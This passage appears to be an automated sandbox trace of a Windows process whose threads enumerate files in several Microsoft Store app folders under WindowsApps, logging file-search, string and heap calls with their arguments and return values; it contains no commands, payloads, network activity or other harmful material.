	[0079.360] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x2df8228 | out: lpFindFileData=0x2df8228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34052404, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc96ea5b4, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xc96ea5b4, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad7b8
	[0079.361] wcscmp (_String1=".", _String2=".") returned 0
	[0079.361] FindNextFileW (in: hFindFile=0x2dad7b8, lpFindFileData=0x2df8228 | out: lpFindFileData=0x2df8228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34052404, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc96ea5b4, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xc96ea5b4, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.362] wcscmp (_String1="..", _String2=".") returned 1
	[0079.362] wcscmp (_String1="..", _String2="..") returned 0
	[0079.362] FindNextFileW (in: hFindFile=0x2dad7b8, lpFindFileData=0x2df8228 | out: lpFindFileData=0x2df8228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3421c04b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x3421c04b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x3421c04b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x176, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApplicationInsights.config", cAlternateFileName="")) returned 1
	[0079.362] wcscmp (_String1="ApplicationInsights.config", _String2=".") returned 1
	[0079.362] wcscmp (_String1="ApplicationInsights.config", _String2="..") returned 1
	[0079.362] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x47ccda0
	[0079.362] wcscpy (in: _Dest=0x47ccda0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe"
	[0079.362] wcscat (in: _Dest=0x47ccda0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\\"
	[0079.362] wcscat (in: _Dest=0x47ccda0, _Source="ApplicationInsights.config" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\\ApplicationInsights.config") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\\ApplicationInsights.config"

Thread:
	id = 748
	os_tid = 0x1adc

	[0079.362] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x47676c0
	[0079.362] wcscpy (in: _Dest=0x47676c0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0079.362] wcscat (in: _Dest=0x47676c0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0079.363] wcscat (in: _Dest=0x47676c0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe\\*"
	[0079.363] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df9f08
	[0079.363] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe\\*", lpFindFileData=0x2df9f08 | out: lpFindFileData=0x2df9f08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a98e846, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xcb314296, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xcb314296, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad078
	[0079.364] wcscmp (_String1=".", _String2=".") returned 0
	[0079.364] FindNextFileW (in: hFindFile=0x2dad078, lpFindFileData=0x2df9f08 | out: lpFindFileData=0x2df9f08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a98e846, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xcb314296, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xcb314296, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.364] wcscmp (_String1="..", _String2=".") returned 1
	[0079.364] wcscmp (_String1="..", _String2="..") returned 0
	[0079.364] FindNextFileW (in: hFindFile=0x2dad078, lpFindFileData=0x2df9f08 | out: lpFindFileData=0x2df9f08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a98e846, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x6a9b4a9f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x6a9b4a9f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0079.364] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0079.364] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0079.364] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfa) returned 0x47cc038
	[0079.364] wcscpy (in: _Dest=0x47cc038, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0079.364] wcscat (in: _Dest=0x47cc038, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0079.364] wcscat (in: _Dest=0x47cc038, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml"

Thread:
	id = 749
	os_tid = 0x1ae0

	[0079.364] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x476fbf0
	[0079.365] wcscpy (in: _Dest=0x476fbf0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_~_8wekyb3d8bbwe"
	[0079.365] wcscat (in: _Dest=0x476fbf0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_~_8wekyb3d8bbwe\\"
	[0079.365] wcscat (in: _Dest=0x476fbf0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_~_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_~_8wekyb3d8bbwe\\*"
	[0079.365] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dfa170
	[0079.365] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_~_8wekyb3d8bbwe\\*", lpFindFileData=0x2dfa170 | out: lpFindFileData=0x2dfa170*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69c2543c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xcb2ee04f, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xcb2ee04f, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad0b8
	[0079.366] wcscmp (_String1=".", _String2=".") returned 0
	[0079.366] FindNextFileW (in: hFindFile=0x2dad0b8, lpFindFileData=0x2dfa170 | out: lpFindFileData=0x2dfa170*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69c2543c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xcb2ee04f, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xcb2ee04f, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.366] wcscmp (_String1="..", _String2=".") returned 1
	[0079.366] wcscmp (_String1="..", _String2="..") returned 0
	[0079.366] FindNextFileW (in: hFindFile=0x2dad0b8, lpFindFileData=0x2dfa170 | out: lpFindFileData=0x2dfa170*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69dc8e24, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x69dc8e24, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x69dc8e24, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0079.366] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0079.367] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0079.367] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x47677a8
	[0079.367] wcscpy (in: _Dest=0x47677a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_~_8wekyb3d8bbwe"
	[0079.367] wcscat (in: _Dest=0x47677a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_~_8wekyb3d8bbwe\\"
	[0079.367] wcscat (in: _Dest=0x47677a8, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml"

Thread:
	id = 750
	os_tid = 0x1ae4

	[0079.367] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x4769ae8
	[0079.367] wcscpy (in: _Dest=0x4769ae8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe"
	[0079.367] wcscat (in: _Dest=0x4769ae8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe\\"
	[0079.367] wcscat (in: _Dest=0x4769ae8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe\\*"
	[0079.367] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df67b0
	[0079.367] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69e152fc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xcb2ee04f, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xcb2ee04f, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad0f8
	[0079.369] wcscmp (_String1=".", _String2=".") returned 0
	[0079.369] FindNextFileW (in: hFindFile=0x2dad0f8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69e152fc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xcb2ee04f, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xcb2ee04f, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.369] wcscmp (_String1="..", _String2=".") returned 1
	[0079.369] wcscmp (_String1="..", _String2="..") returned 0
	[0079.369] FindNextFileW (in: hFindFile=0x2dad0f8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e152fc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x69e3b535, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x69e3b535, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x9141, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0079.369] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0079.369] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0079.369] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x477ee30
	[0079.369] wcscpy (in: _Dest=0x477ee30, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe"
	[0079.369] wcscat (in: _Dest=0x477ee30, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe\\"
	[0079.369] wcscat (in: _Dest=0x477ee30, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"

Thread:
	id = 751
	os_tid = 0x1ae8

	[0079.369] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x2d7d4b0
	[0079.370] wcscpy (in: _Dest=0x2d7d4b0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MSPaint_1.1702.28017.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MSPaint_1.1702.28017.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MSPaint_1.1702.28017.0_neutral_~_8wekyb3d8bbwe"
	[0079.370] wcscat (in: _Dest=0x2d7d4b0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MSPaint_1.1702.28017.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MSPaint_1.1702.28017.0_neutral_~_8wekyb3d8bbwe\\"
	[0079.370] wcscat (in: _Dest=0x2d7d4b0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MSPaint_1.1702.28017.0_neutral_~_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.MSPaint_1.1702.28017.0_neutral_~_8wekyb3d8bbwe\\*"
	[0079.370] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df6a18
	[0079.370] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MSPaint_1.1702.28017.0_neutral_~_8wekyb3d8bbwe\\*", lpFindFileData=0x2df6a18 | out: lpFindFileData=0x2df6a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa16112ba, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xcd2853a0, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xcd2853a0, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad138
	[0079.372] wcscmp (_String1=".", _String2=".") returned 0
	[0079.372] FindNextFileW (in: hFindFile=0x2dad138, lpFindFileData=0x2df6a18 | out: lpFindFileData=0x2df6a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa16112ba, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xcd2853a0, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xcd2853a0, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.372] wcscmp (_String1="..", _String2=".") returned 1
	[0079.372] wcscmp (_String1="..", _String2="..") returned 0
	[0079.372] FindNextFileW (in: hFindFile=0x2dad138, lpFindFileData=0x2df6a18 | out: lpFindFileData=0x2df6a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa178ea44, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa178ea44, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xa178ea44, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0079.372] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0079.372] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0079.372] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x2d70218
	[0079.372] wcscpy (in: _Dest=0x2d70218, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MSPaint_1.1702.28017.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MSPaint_1.1702.28017.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MSPaint_1.1702.28017.0_neutral_~_8wekyb3d8bbwe"
	[0079.372] wcscat (in: _Dest=0x2d70218, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MSPaint_1.1702.28017.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MSPaint_1.1702.28017.0_neutral_~_8wekyb3d8bbwe\\"
	[0079.372] wcscat (in: _Dest=0x2d70218, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MSPaint_1.1702.28017.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.MSPaint_1.1702.28017.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml"

Thread:
	id = 752
	os_tid = 0x1aec

	[0079.372] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa6) returned 0x2d5ce88
	[0079.372] wcscpy (in: _Dest=0x2d5ce88, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe"
	[0079.373] wcscat (in: _Dest=0x2d5ce88, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\\"
	[0079.373] wcscat (in: _Dest=0x2d5ce88, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\\*"
	[0079.373] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dbf5f8
	[0079.373] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x2dbf5f8 | out: lpFindFileData=0x2dbf5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa17daefc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xcd2853a0, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xcd2853a0, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad178
	[0079.373] wcscmp (_String1=".", _String2=".") returned 0
	[0079.373] FindNextFileW (in: hFindFile=0x2dad178, lpFindFileData=0x2dbf5f8 | out: lpFindFileData=0x2dbf5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa17daefc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xcd2853a0, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xcd2853a0, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.374] wcscmp (_String1="..", _String2=".") returned 1
	[0079.374] wcscmp (_String1="..", _String2="..") returned 0
	[0079.374] FindNextFileW (in: hFindFile=0x2dad178, lpFindFileData=0x2dbf5f8 | out: lpFindFileData=0x2dbf5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1801155, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa1801155, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xa1801155, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x16d83, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0079.374] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0079.374] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0079.374] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x47caa30
	[0079.374] wcscpy (in: _Dest=0x47caa30, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe"
	[0079.374] wcscat (in: _Dest=0x47caa30, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\\"
	[0079.374] wcscat (in: _Dest=0x47caa30, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"

Thread:
	id = 753
	os_tid = 0x1af0

	[0079.374] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x47cab00
	[0079.374] wcscpy (in: _Dest=0x47cab00, _Source="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe"
